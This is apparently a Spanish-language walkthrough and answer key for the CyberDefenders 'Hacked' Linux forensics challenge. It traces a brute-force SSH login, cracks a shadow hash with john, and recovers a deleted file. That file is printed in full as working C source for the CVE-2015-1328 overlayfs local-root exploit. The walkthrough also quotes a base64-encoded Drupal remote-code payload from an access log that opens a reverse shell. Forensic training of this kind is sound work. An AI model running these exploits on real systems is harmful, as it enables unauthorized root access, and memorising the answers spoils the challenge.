Cyberdefenders – Hacked writeup

You have been called to analyze a compromised Linux web server. Figure out how the threat actor gained access, what modifications were applied to the system, and what persistent techniques were utilized. (e.g. backdoors, users, sessions, etc).

Tools:

#1 Respuesta: Europe/Brussels

What is the system timezone?

Obtención de la evidencia

VulnOSv2-vg-root > /etc/timezone

#2 Respuesta: mail

Who was the last user to log in to the system?

Obtención de la evidencia

VulnOSv2-vg-root > /var/log/auth.log

#3 Respuesta: 57708

What was the source port the user 'mail' connected from?

Obtención de la evidencia

VulnOSv2-vg-root > /var/log/auth.log

#4 Respuesta: 1

How long was the last session for user 'mail'? (Minutes only)

Obtención de la evidencia

VulnOSv2-vg-root > /var/log/auth.log

#5 Respusta: sshd

Which server service did the last user use to log in to the system?

Obtención de la evidencia

VulnOSv2-vg-root > /var/log/auth.log

#6 Respuesta: bruteforce

What type of authentication attack was performed against the target machine?

Obtención de la evidencia

Como podemos ver tenemos muchos intentos fallidos de la dirección ip: 192.168.210.131 por lo tanto nos encontramos bajo un ataque de Fuerza Bruta

De la misma forma, podemos descargarnos el archivo y comprobar el log

 cat auth.log  |grep "192.168.210.131" | grep "Failed password" | wc -l
451

#7 Respuesta: 2

How many IP addresses are listed in the '/var/log/lastlog' file?

Obtención de la evidencia

VulnOSv2-vg-root > /var/log/lastlog

Nos descargamos el log y comprobamos cuantas direcciones ip contiene.

grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' lastlog
192.168.210.131
192.168.56.101

#8 Respuesta: 5

How many users have a login shell?

Obtención de la evidencia

VulnOSv2-vg-root > /etc/passwd

#9 Respuesta: forensics

What is the password of the mail user?

Obtención de la evidencia

VulnOSv2-vg-root > /etc/shadow

Guardamos el hash en un archivo

cat passwd
mail:$6$zLaoLV8N$BNxYZUxvXiZwb3UjBhCxnxd9Mb02DDUF.GfMj1kbLB.s/quBVtMM4QjfOvmZvfqeh7BuLXaRvRSfpQgNI5prE.:18174:0:99999:7:::

Mediante john y utilizando el diccionario rockyou.txt intentamos crackear la contraseña.

john --wordlist=/usr/share/wordlists/rockyou.txt  passwd
Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
forensics        (mail)
1g 0:00:00:17 DONE (2022-03-25 12:10) 0.05662g/s 3334p/s 3334c/s 3334C/s kruimel..bluedolphin
Use the "--show" option to display all of the cracked passwords reliably
Session completed

10 Respuesta: php

Which user account was created by the attacker?

Obtención de la evidencia

VulnOSv2-vg-root > /var/log/auth.log

#11 Respuesta: 58

How many user groups exist on the machine?

Obtención de la evidencia

VulnOSv2-vg-root > /etc/group

Tambien lo podemos realiar mediante cat y wc

cat group | wc -l
58

#12 Respuesta: 2

How many users have sudo access?

Obtención de la evidencia

VulnOSv2-vg-root > /etc/group

#13 Respuesta: /usr/php

What is the home directory of the PHP user?

Obtención de la evidencia

En la pregunta #10 cuando creo el usuario ya pudimos ver el home del usuario, no obstante tambien podemos obtener esta información en:

VulnOSv2-vg-root > /etc/passwd

#14 Respuesta: sudo su –

What command did the attacker use to gain root privilege? (Answer contains two spaces).

Obtención de la evidencia

En la pregunta anterior pudimos ver que el home del usuario mail es /var/mail por lo tanto nos vamos al history de dicho usuario.

VulnOSv2-vg-root > /var/mail/.bash_history

#13 Respuesta: 37292.c

Which file did the user 'root' delete?

Obtención de la evidencia

VulnOSv2-vg-root > /root/.bash_history

#16 Respuesta: rebel

Recover the deleted file, open it and extract the exploit author name.

Obtención de la evidencia

Montamos el disco que lo podemos hacer desde la misma herramienta de FTK en: File > Image Mounting… o desde otro software como OSFMount.

Una vez montado descargamos R-Studio Recovery y buscamos archivos borrados

Tras realizar el analisis del disco dentro del file system /tmp encontramos el archivo 37292.c borrado

Recuperamos

Una vez recuperado podemos ver el exploit

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel

# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

#17 Respuesta: drupal

What is the content management system (CMS) installed on the machine?

Obtención de la evidencia

VulnOSv2-vg-root > /var/htmlo/jabc/index.php

#18 Respuesta: 7.26

What is the version of the CMS installed on the machine?

Obtención de la evidencia

VulnOSv2-vg-root > /var/html/jabc/includes/bootstrap.inc

#19 Respuesta: 4444

Which port was listening to receive the attacker's reverse shell?

Obtención de la evidencia

VulnOSv2-vg-root > /var/log/apache2/access.log

Si nos paramos a observar la query esta codificada utilizando eval en base64.

192.168.210.131 - - [05/Oct/2019:13:01:29 +0200] "POST /jabc/?q=user/password&name%5b%23post_render%5d%5b%5d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N0cmVhbSc6ICRiIC49IGZyZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzOyAkR0xPQkFMU1snbXNnc29ja190eXBlJ10gPSAkc190eXBlOyBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgnc3Vob3NpbicpICYmIGluaV9nZXQoJ3N1aG9zaW4uZXhlY3V0b3IuZGlzYWJsZV9ldmFsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsgfSBlbHNlIHsgZXZhbCgkYik7IH0gZGllKCk7%29%29%3b%27&name%5b%23type%5d=markup HTTP/1.1" 200 14021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Decodificamos la query utilizando CyberChef y podemos ver que el puerto empleando es el 4444

Deja una respuesta

Tu dirección de correo electrónico no será publicada.